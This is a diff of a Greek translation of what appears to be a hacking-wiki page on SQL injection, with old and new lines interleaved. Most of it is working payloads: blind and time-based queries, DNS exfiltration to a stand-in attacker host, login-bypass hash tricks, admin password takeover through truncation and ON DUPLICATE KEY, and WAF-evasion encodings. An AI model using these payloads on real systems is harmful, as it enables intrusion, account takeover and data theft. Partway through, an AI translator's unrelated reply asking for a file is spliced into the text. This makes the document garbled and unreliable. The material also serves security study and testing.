Σε αυτή την περίπτωση **δεν υπάρχει** κανένας τρόπος να **διακρίνουμε** την **απάντηση** του ερωτήματος με βάση το πλαίσιο της σελίδας. Αλλά, μπορείτε να κάνετε τη σελίδα **να χρειάζεται περισσότερο χρόνο για να φορτώσει** αν ο μαντεμένος χαρακτήρας είναι σωστός. Έχουμε ήδη δει αυτή την τεχνική σε χρήση πριν για να [επιβεβαιώσουμε μια ευπάθεια SQLi](#confirming-with-timing).
|
||||
Σε αυτή την περίπτωση **δεν υπάρχει** κανένας τρόπος να **διακρίνεις** την **απόκριση** του ερωτήματος βάσει του πλαισίου της σελίδας. Ωστόσο, μπορείς να κάνεις τη σελίδα να **αργεί περισσότερο να φορτώσει** αν ο μαντεμένος χαρακτήρας είναι σωστός. Έχουμε ήδη δει αυτή την τεχνική σε χρήση προηγουμένως προκειμένου να [confirm a SQLi vuln](#confirming-with-timing).
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
## Στοιβαγμένες Ερωτήσεις
|
||||
## Stacked Queries
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε στοιβαγμένες ερωτήσεις για να **εκτελέσετε πολλές ερωτήσεις διαδοχικά**. Σημειώστε ότι ενώ οι επόμενες ερωτήσεις εκτελούνται, τα **αποτελέσματα** **δεν επιστρέφονται στην εφαρμογή**. Επομένως, αυτή η τεχνική είναι κυρίως χρήσιμη σε σχέση με **τυφλές ευπάθειες** όπου μπορείτε να χρησιμοποιήσετε μια δεύτερη ερώτηση για να ενεργοποιήσετε μια αναζήτηση DNS, μια συνθήκη σφάλματος ή μια καθυστέρηση χρόνου.
|
||||
Μπορείτε να χρησιμοποιήσετε stacked queries για να **εκτελέσετε πολλαπλά ερωτήματα διαδοχικά**. Σημειώστε πως ενώ τα επακόλουθα ερωτήματα εκτελούνται, τα **αποτελέσματα** **δεν επιστρέφονται στην εφαρμογή**. Επομένως αυτή η τεχνική είναι κυρίως χρήσιμη για **blind vulnerabilities**, όπου μπορείτε να χρησιμοποιήσετε ένα δεύτερο ερώτημα για να πυροδοτήσετε ένα DNS lookup, conditional error ή time delay.
|
||||
|
||||
**Oracle** δεν υποστηρίζει **στοιβαγμένες ερωτήσεις.** **MySQL, Microsoft** και **PostgreSQL** τις υποστηρίζουν: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
**Oracle** δεν υποστηρίζει **stacked queries.** Οι **MySQL, Microsoft** και **PostgreSQL** τα υποστηρίζουν: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
## Εκμετάλλευση Εκτός Δικτύου
|
||||
## Out of band Exploitation
|
||||
|
||||
Εάν **κανένας άλλος** μέθοδος εκμετάλλευσης **δεν λειτούργησε**, μπορείτε να προσπαθήσετε να κάνετε τη **βάση δεδομένων να εξάγει** τις πληροφορίες σε έναν **εξωτερικό διακομιστή** που ελέγχετε. Για παράδειγμα, μέσω ερωτήσεων DNS:
|
||||
Αν **no-other** μέθοδος εκμετάλλευσης **δεν λειτούργησε**, μπορείτε να δοκιμάσετε να κάνετε τη **database ex-filtrate** τις πληροφορίες σε έναν **external host** που ελέγχετε. Για παράδειγμα, μέσω DNS queries:
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
@ -328,11 +328,11 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||
```
|
||||
## Αυτοματοποιημένη Εκμετάλλευση
|
||||
|
||||
Δείτε το [SQLMap Cheatsheet](sqlmap/index.html) για να εκμεταλλευτείτε μια ευπάθεια SQLi με [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
Check the [SQLMap Cheatsheet](sqlmap/index.html) to exploit a SQLi vulnerability with [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
|
||||
## Τεχνικές συγκεκριμένες πληροφορίες
|
||||
## Πληροφορίες ανά τεχνολογία
|
||||
|
||||
Έχουμε ήδη συζητήσει όλους τους τρόπους εκμετάλλευσης μιας ευπάθειας SQL Injection. Βρείτε μερικά ακόμα κόλπα που εξαρτώνται από την τεχνολογία βάσης δεδομένων σε αυτό το βιβλίο:
|
||||
Έχουμε ήδη συζητήσει όλους τους τρόπους εκμετάλλευσης μιας ευπάθειας SQL Injection. Βρείτε περισσότερα κόλπα ανάλογα με την τεχνολογία της βάσης δεδομένων σε αυτό το βιβλίο:
|
||||
|
||||
- [MS Access](ms-access-sql-injection.md)
|
||||
- [MSSQL](mssql-injection.md)
|
||||
@ -340,33 +340,33 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||
- [Oracle](oracle-injection.md)
|
||||
- [PostgreSQL](postgresql-injection/index.html)
|
||||
|
||||
Ή θα βρείτε **πολλά κόλπα σχετικά με: MySQL, PostgreSQL, Oracle, MSSQL, SQLite και HQL σε** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
Or you will find **a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## Παράκαμψη αυθεντικοποίησης
|
||||
## Authentication bypass
|
||||
|
||||
Λίστα για να προσπαθήσετε να παρακάμψετε τη λειτουργία σύνδεσης:
|
||||
Λίστα για να δοκιμάσετε την παράκαμψη της λειτουργίας login:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../login-bypass/sql-login-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Παράκαμψη αυθεντικοποίησης με ακατέργαστο hash
|
||||
### Raw hash authentication Bypass
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
Αυτή η ερώτηση επιδεικνύει μια ευπάθεια όταν το MD5 χρησιμοποιείται με true για την ακατέργαστη έξοδο σε ελέγχους ταυτοποίησης, καθιστώντας το σύστημα ευάλωτο σε SQL injection. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό δημιουργώντας εισόδους που, όταν κατακερματίζονται, παράγουν αναπάντεχα μέρη SQL εντολών, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
|
||||
Αυτό το query αποκαλύπτει ευπάθεια όταν το MD5 χρησιμοποιείται με true για raw output στους authentication checks, κάνοντας το σύστημα επιρρεπές σε SQL injection. Attackers μπορούν να το εκμεταλλευτούν δημιουργώντας inputs που, όταν hashed, παράγουν απρόβλεπτα SQL command parts, οδηγώντας σε unauthorized access.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
```
|
||||
### Παράκαμψη αυθεντικοποίησης με εισαγόμενο hash
|
||||
### Injected hash authentication Bypass
|
||||
```sql
|
||||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
```
|
||||
**Συνιστώμενη λίστα**:
|
||||
|
||||
Πρέπει να χρησιμοποιείτε ως όνομα χρήστη κάθε γραμμή της λίστας και ως κωδικό πάντα: _**Pass1234.**_\
|
||||
Πρέπει να χρησιμοποιήσετε ως username κάθε γραμμή της λίστας και ως password πάντα: _**Pass1234.**_\
|
||||
_(Αυτά τα payloads περιλαμβάνονται επίσης στη μεγάλη λίστα που αναφέρθηκε στην αρχή αυτής της ενότητας)_
|
||||
|
||||
{{#file}}
|
||||
@ -375,13 +375,13 @@ sqli-hashbypass.txt
|
||||
|
||||
### GBK Authentication Bypass
|
||||
|
||||
ΑΝ το ' διαφεύγει μπορείτε να χρησιμοποιήσετε %A8%27, και όταν το ' διαφύγει θα δημιουργηθεί: 0xA80x5c0x27 (_╘'_)
|
||||
ΑΝ το ' γίνεται escaped μπορείτε να χρησιμοποιήσετε %A8%27. Όταν το ' γίνει escaped θα δημιουργηθεί: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
%bf' or 1=1 -- --
|
||||
```
|
||||
Python σενάριο:
|
||||
Python script:
|
||||
```python
|
||||
import requests
|
||||
url = "http://example.com/index.php"
|
||||
@ -394,68 +394,75 @@ print r.text
|
||||
```sql
|
||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
```
|
||||
## Insert Statement
|
||||
## Εντολή INSERT
|
||||
|
||||
### Modify password of existing object/user
|
||||
### Τροποποίηση password υπάρχοντος αντικειμένου/χρήστη
|
||||
|
||||
Για να το κάνετε αυτό, θα πρέπει να προσπαθήσετε να **δημιουργήσετε ένα νέο αντικείμενο με το όνομα του "κύριου αντικειμένου"** (πιθανώς **admin** στην περίπτωση χρηστών) τροποποιώντας κάτι:
|
||||
Για να το κάνετε αυτό θα πρέπει να προσπαθήσετε να **create a new object named as the "master object"** (πιθανότατα **admin** στην περίπτωση των χρηστών) τροποποιώντας κάτι:
|
||||
|
||||
- Δημιουργήστε χρήστη με το όνομα: **AdMIn** (κεφαλαία & πεζά γράμματα)
|
||||
- Δημιουργήστε έναν χρήστη με το όνομα: **admin=**
|
||||
- **SQL Truncation Attack** (όταν υπάρχει κάποιο είδος **περιορισμού μήκους** στο όνομα χρήστη ή στο email) --> Δημιουργήστε χρήστη με το όνομα: **admin \[πολλοί χώροι] a**
|
||||
- Δημιουργήστε χρήστη με όνομα: **AdMIn** (κεφαλαία & μικρά γράμματα)
|
||||
- Δημιουργήστε χρήστη με όνομα: **admin=**
|
||||
- **SQL Truncation Attack** (όταν υπάρχει κάποιο είδος **length limit** στο username ή στο email) --> Δημιουργήστε χρήστη με όνομα: **admin \[a lot of spaces] a**
|
||||
|
||||
#### SQL Truncation Attack
|
||||
|
||||
Εάν η βάση δεδομένων είναι ευάλωτη και ο μέγιστος αριθμός χαρακτήρων για το όνομα χρήστη είναι για παράδειγμα 30 και θέλετε να προσποιηθείτε τον χρήστη **admin**, προσπαθήστε να δημιουργήσετε ένα όνομα χρήστη που ονομάζεται: "_admin \[30 χώροι] a_" και οποιοδήποτε κωδικό πρόσβασης.
|
||||
Αν η βάση δεδομένων είναι ευάλωτη και ο μέγιστος αριθμός χαρακτήρων για το username είναι για παράδειγμα 30 και θέλετε να προσποιηθείτε ότι είστε ο χρήστης **admin**, δοκιμάστε να δημιουργήσετε ένα username που ονομάζεται: "_admin \[30 spaces] a_" και οποιοδήποτε password.
|
||||
|
||||
Η βάση δεδομένων θα **ελέγξει** αν το εισαγόμενο **όνομα χρήστη** **υπάρχει** μέσα στη βάση δεδομένων. Εάν **όχι**, θα **κόψει** το **όνομα χρήστη** στον **μέγιστο επιτρεπόμενο αριθμό χαρακτήρων** (σε αυτή την περίπτωση σε: "_admin \[25 χώροι]_") και στη συνέχεια θα **αφαιρέσει αυτόματα όλους τους χώρους στο τέλος ενημερώνοντας** μέσα στη βάση δεδομένων τον χρήστη "**admin**" με τον **νέο κωδικό πρόσβασης** (μπορεί να εμφανιστεί κάποιο σφάλμα αλλά αυτό δεν σημαίνει ότι δεν έχει λειτουργήσει).
|
||||
Η βάση δεδομένων θα **check** αν το εισαχθέν **username** **exists** μέσα στη βάση. Εάν **όχι**, θα **cut** το **username** στο **max allowed number of characters** (σε αυτή την περίπτωση σε: "_admin \[25 spaces]_") και στη συνέχεια θα **automatically remove all the spaces at the end updating** μέσα στη βάση τον χρήστη "**admin**" με το **νέο password** (μπορεί να εμφανιστεί κάποιο σφάλμα αλλά αυτό δεν σημαίνει ότι δεν δούλεψε).
|
||||
|
||||
Περισσότερες πληροφορίες: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_Σημείωση: Αυτή η επίθεση δεν θα λειτουργήσει πλέον όπως περιγράφεται παραπάνω στις τελευταίες εγκαταστάσεις MySQL. Ενώ οι συγκρίσεις εξακολουθούν να αγνοούν τα κενά στο τέλος από προεπιλογή, η προσπάθεια εισαγωγής μιας συμβολοσειράς που είναι μεγαλύτερη από το μήκος ενός πεδίου θα έχει ως αποτέλεσμα ένα σφάλμα, και η εισαγωγή θα αποτύχει. Για περισσότερες πληροφορίες σχετικά με αυτόν τον έλεγχο:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
|
||||
### MySQL Insert time based checking
|
||||
### MySQL Insert έλεγχος βάσει χρόνου
|
||||
|
||||
Προσθέστε όσο το δυνατόν περισσότερα `','',''` θεωρείτε ότι χρειάζεται για να βγείτε από τη δήλωση VALUES. Εάν εκτελείται καθυστέρηση, έχετε μια SQLInjection.
|
||||
Προσθέστε όσα `','',''` θεωρείτε απαραίτητα για να εξέλθετε από τη δήλωση VALUES. Εάν η καθυστέρηση εκτελεστεί, έχετε SQLInjection.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
Η ρήτρα `ON DUPLICATE KEY UPDATE` στο MySQL χρησιμοποιείται για να καθορίσει ενέργειες που πρέπει να αναλάβει η βάση δεδομένων όταν γίνεται μια προσπάθεια εισαγωγής μιας γραμμής που θα είχε ως αποτέλεσμα μια διπλή τιμή σε έναν UNIQUE δείκτη ή PRIMARY KEY. Το παρακάτω παράδειγμα δείχνει πώς μπορεί να εκμεταλλευτεί αυτή η δυνατότητα για να τροποποιηθεί ο κωδικός πρόσβασης ενός λογαριασμού διαχειριστή:
|
||||
Η ρήτρα `ON DUPLICATE KEY UPDATE` στο MySQL χρησιμοποιείται για να καθορίσει ενέργειες που θα εκτελέσει η βάση δεδομένων όταν επιχειρείται η εισαγωγή μιας γραμμής που θα είχε ως αποτέλεσμα διπλότυπη τιμή σε έναν UNIQUE index ή PRIMARY KEY. Το ακόλουθο παράδειγμα δείχνει πώς αυτή η δυνατότητα μπορεί να εκμεταλλευτεί για να τροποποιήσει τον κωδικό πρόσβασης ενός λογαριασμού διαχειριστή:
|
||||
|
||||
Example Payload Injection:
|
||||
Παράδειγμα Payload Injection:
|
||||
|
||||
Ένα payload εισαγωγής μπορεί να κατασκευαστεί ως εξής, όπου δύο γραμμές προσπαθούν να εισαχθούν στον πίνακα `users`. Η πρώτη γραμμή είναι μια παγίδα, και η δεύτερη γραμμή στοχεύει το υπάρχον email ενός διαχειριστή με σκοπό την ενημέρωση του κωδικού πρόσβασης:
|
||||
Ένα injection payload μπορεί να κατασκευαστεί ως εξής, όπου επιχειρείται η εισαγωγή δύο γραμμών στον πίνακα `users`. Η πρώτη γραμμή είναι παραπλανητική, και η δεύτερη στοχεύει την υπάρχουσα διεύθυνση email του διαχειριστή με σκοπό την ενημέρωση του κωδικού πρόσβασης:
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
Ορίστε πώς λειτουργεί:
|
||||
Πώς λειτουργεί:
|
||||
|
||||
- Το ερώτημα προσπαθεί να εισάγει δύο γραμμές: μία για `generic_user@example.com` και μία άλλη για `admin_generic@example.com`.
|
||||
- Εάν η γραμμή για `admin_generic@example.com` υπάρχει ήδη, η ρήτρα `ON DUPLICATE KEY UPDATE` ενεργοποιείται, δίνοντας εντολή στο MySQL να ενημερώσει το πεδίο `password` της υπάρχουσας γραμμής σε "bcrypt_hash_of_newpassword".
|
||||
- Κατά συνέπεια, μπορεί στη συνέχεια να γίνει προσπάθεια αυθεντικοποίησης χρησιμοποιώντας `admin_generic@example.com` με τον κωδικό πρόσβασης που αντιστοιχεί στο bcrypt hash ("bcrypt_hash_of_newpassword" αντιπροσωπεύει το bcrypt hash του νέου κωδικού πρόσβασης, το οποίο θα πρέπει να αντικατασταθεί με το πραγματικό hash του επιθυμητού κωδικού πρόσβασης).
|
||||
- Το query προσπαθεί να εισάγει δύο εγγραφές: μία για `generic_user@example.com` και άλλη για `admin_generic@example.com`.
|
||||
- Αν η εγγραφή για `admin_generic@example.com` υπάρχει ήδη, η ρήτρα `ON DUPLICATE KEY UPDATE` ενεργοποιείται, υποδεικνύοντας στο MySQL να ενημερώσει το πεδίο `password` της υπάρχουσας εγγραφής σε "bcrypt_hash_of_newpassword".
|
||||
- Συνεπώς, authentication μπορεί στη συνέχεια να επιχειρηθεί χρησιμοποιώντας `admin_generic@example.com` με τον κωδικό που αντιστοιχεί στο bcrypt hash ("bcrypt_hash_of_newpassword" αντιπροσωπεύει το bcrypt hash του νέου κωδικού, το οποίο πρέπει να αντικατασταθεί με το πραγματικό hash του επιθυμητού κωδικού).
|
||||
|
||||
### Εξαγωγή πληροφοριών
|
||||
|
||||
#### Δημιουργία 2 λογαριασμών ταυτόχρονα
|
||||
|
||||
Όταν προσπαθείτε να δημιουργήσετε έναν νέο χρήστη, απαιτούνται όνομα χρήστη, κωδικός πρόσβασης και email:
|
||||
Κατά την προσπάθεια δημιουργίας νέου user απαιτούνται username, password και email:
|
||||
```
|
||||
SQLi payload:
|
||||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||||
|
||||
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
|
||||
```
|
||||
#### Χρησιμοποιώντας δεκαδικό ή δεκαεξαδικό
|
||||
#### Χρήση δεκαδικού ή δεκαεξαδικού
|
||||
|
||||
Με αυτή την τεχνική μπορείτε να εξάγετε πληροφορίες δημιουργώντας μόνο 1 λογαριασμό. Είναι σημαντικό να σημειωθεί ότι δεν χρειάζεται να σχολιάσετε τίποτα.
|
||||
Με αυτήν την τεχνική μπορείτε να εξάγετε πληροφορίες δημιουργώντας μόνο 1 account. Είναι σημαντικό να σημειωθεί ότι δεν χρειάζεται να κάνετε comment τίποτα.
|
||||
|
||||
Χρησιμοποιώντας **hex2dec** και **substr**:
|
||||
```sql
|
||||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
```
|
||||
Για να αποκτήσετε το κείμενο μπορείτε να χρησιμοποιήσετε:
|
||||
I don't have access to your filesystem. Please paste the contents of src/pentesting-web/sql-injection/README.md here (or run one of these commands and paste the output):
|
||||
|
||||
- cat src/pentesting-web/sql-injection/README.md
|
||||
- sed -n '1,200p' src/pentesting-web/sql-injection/README.md
|
||||
- bat --paging=never src/pentesting-web/sql-injection/README.md
|
||||
- type src\pentesting-web\sql-injection\README.md (Windows PowerShell/CMD)
|
||||
|
||||
Once you paste the file content I will translate the relevant English text to Greek following your rules.
|
||||
```python
|
||||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||
```
|
||||
@ -470,20 +477,20 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||
```
|
||||
## Routed SQL injection
|
||||
|
||||
Routed SQL injection είναι μια κατάσταση όπου το ερωτηματικό που μπορεί να εισαχθεί δεν είναι αυτό που δίνει έξοδο, αλλά η έξοδος του ερωτήματος που μπορεί να εισαχθεί πηγαίνει στο ερώτημα που δίνει έξοδο. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
Το Routed SQL injection είναι μια κατάσταση όπου το injectable query δεν είναι αυτό που επιστρέφει άμεσα την έξοδο, αλλά η έξοδος του injectable query μεταβιβάζεται στο query που τελικά εμφανίζει την έξοδο. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Example:
|
||||
Παράδειγμα:
|
||||
```
|
||||
#Hex of: -1' union select login,password from users-- a
|
||||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||||
```
|
||||
## WAF Bypass
|
||||
|
||||
[Αρχικές παρακάμψεις από εδώ](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
[Αρχικές bypasses από εδώ](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
|
||||
### No spaces bypass
|
||||
|
||||
No Space (%20) - παρακάμψη χρησιμοποιώντας εναλλακτικές κενές θέσεις
|
||||
No Space (%20) - bypass χρησιμοποιώντας εναλλακτικούς whitespace χαρακτήρες
|
||||
```sql
|
||||
?id=1%09and%091=1%09--
|
||||
?id=1%0Dand%0D1=1%0D--
|
||||
@ -492,31 +499,31 @@ No Space (%20) - παρακάμψη χρησιμοποιώντας εναλλα
|
||||
?id=1%0Aand%0A1=1%0A--
|
||||
?id=1%A0and%A01=1%A0--
|
||||
```
|
||||
Χωρίς Κενά - παράκαμψη χρησιμοποιώντας σχόλια
|
||||
No Whitespace - bypass χρησιμοποιώντας σχόλια
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
Χωρίς Κενά - παράκαμψη χρησιμοποιώντας παρενθέσεις
|
||||
No Whitespace - bypass χρησιμοποιώντας παρενθέσεις
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
### No commas bypass
|
||||
|
||||
No Comma - παράκαμψη χρησιμοποιώντας OFFSET, FROM και JOIN
|
||||
No Comma - bypass χρησιμοποιώντας OFFSET, FROM και JOIN
|
||||
```
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||||
```
|
||||
### Γενικές Παράκαμψεις
|
||||
### Γενικά Bypasses
|
||||
|
||||
Blacklist χρησιμοποιώντας λέξεις-κλειδιά - παράκαμψη χρησιμοποιώντας κεφαλαία/μικρά γράμματα
|
||||
Blacklist με λέξεις-κλειδιά - bypass με κεφαλαία/πεζά
|
||||
```sql
|
||||
?id=1 AND 1=1#
|
||||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
Λίστα αποκλεισμού χρησιμοποιώντας λέξεις-κλειδιά χωρίς διάκριση πεζών-κεφαλαίων - παράκαμψη χρησιμοποιώντας έναν ισοδύναμο τελεστή
|
||||
Blacklist που χρησιμοποιεί keywords case insensitive - bypass με ισοδύναμο operator
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
@ -526,8 +533,8 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
||||
```
|
||||
### Scientific Notation WAF bypass
|
||||
|
||||
Μπορείτε να βρείτε μια πιο λεπτομερή εξήγηση αυτού του κόλπου στο [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
Βασικά, μπορείτε να χρησιμοποιήσετε την επιστημονική σημειογραφία με απροσδόκητους τρόπους για να παρακάμψετε το WAF:
|
||||
Μπορείτε να βρείτε μια πιο αναλυτική εξήγηση αυτού του trick στο [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
Βασικά, μπορείτε να χρησιμοποιήσετε την scientific notation με απρόσμενους τρόπους για να παρακάμψετε το WAF:
|
||||
```
|
||||
-1' or 1.e(1) or '1'='1
|
||||
-1' or 1337.1337e1 or '1'='1
|
||||
@ -535,9 +542,9 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
||||
```
|
||||
### Παράκαμψη Περιορισμού Ονομάτων Στηλών
|
||||
|
||||
Πρώτα απ' όλα, παρατηρήστε ότι αν το **αρχικό ερώτημα και ο πίνακας από τον οποίο θέλετε να εξάγετε τη σημαία έχουν τον ίδιο αριθμό στηλών** μπορείτε απλά να κάνετε: `0 UNION SELECT * FROM flag`
|
||||
Πρώτα απ' όλα, σημείωσε ότι αν το **original query and the table where you want to extract the flag from have the same amount of columns** μπορείς απλώς να κάνεις: `0 UNION SELECT * FROM flag`
|
||||
|
||||
Είναι δυνατόν να **έχετε πρόσβαση στην τρίτη στήλη ενός πίνακα χωρίς να χρησιμοποιήσετε το όνομά της** χρησιμοποιώντας ένα ερώτημα όπως το εξής: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, οπότε σε μια sqlinjection αυτό θα φαίνεται έτσι:
|
||||
Είναι δυνατό να **access the third column of a table without using its name** χρησιμοποιώντας ένα query σαν το ακόλουθο: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, οπότε σε ένα sqlinjection αυτό θα έμοιαζε με:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
@ -547,9 +554,36 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
||||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||||
```
|
||||
Αυτό το κόλπο ελήφθη από [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
Αυτό το κόλπο προέρχεται από [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
|
||||
### Εργαλεία προτάσεων παράκαμψης WAF
|
||||
### Column/tablename injection in SELECT list via subqueries
|
||||
|
||||
Εάν η είσοδος χρήστη (user input) συγχωνεύεται στη λίστα SELECT ή στους table/column identifiers, τα prepared statements δεν θα βοηθήσουν επειδή τα bind parameters προστατεύουν μόνο τις values, όχι τους identifiers. Ένα κοινό ευάλωτο pattern είναι:
|
||||
```php
|
||||
// Pseudocode
|
||||
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
|
||||
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
|
||||
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
|
||||
$stmt = $db->pquery($q, [$rec_id]);
|
||||
```
|
||||
Exploitation idea: inject ένα subquery στη θέση του πεδίου για να exfiltrate αυθαίρετα δεδομένα:
|
||||
```sql
|
||||
-- Legit
|
||||
SELECT user_name FROM vte_users WHERE id=1;
|
||||
|
||||
-- Injected subquery to extract a sensitive value (e.g., password reset token)
|
||||
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
|
||||
```
|
||||
Σημειώσεις:
|
||||
- Αυτό λειτουργεί ακόμη και όταν το WHERE clause χρησιμοποιεί bound parameter, επειδή η λίστα identifiers εξακολουθεί να συνενώνεται ως συμβολοσειρά.
|
||||
- Κάποια stacks επιπλέον σας επιτρέπουν να ελέγχετε το table name (tablename injection), επιτρέποντας cross-table reads.
|
||||
- Οι output sinks μπορεί να αντικατοπτρίσουν την επιλεγμένη τιμή σε HTML/JSON, επιτρέποντας XSS ή token exfiltration απευθείας από την απάντηση.
|
||||
|
||||
Μέτρα μετριασμού:
|
||||
- Ποτέ μην συνενώνετε identifiers από user input. Αντιστοιχίστε τα επιτρεπόμενα column names σε μια σταθερή allow-list και κάντε σωστό quoting των identifiers.
|
||||
- Εάν απαιτείται dynamic table access, περιορίστε το σε ένα πεπερασμένο σύνολο και επιλύστε server-side από ένα ασφαλές mapping.
|
||||
|
||||
### WAF bypass suggester tools
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -561,12 +595,15 @@ https://github.com/m4ll0k/Atlas
|
||||
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## Λίστα Ανίχνευσης Brute-Force
|
||||
## Λίστα ανίχνευσης Brute-Force
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
|
||||
{{#endref}}
|
||||
|
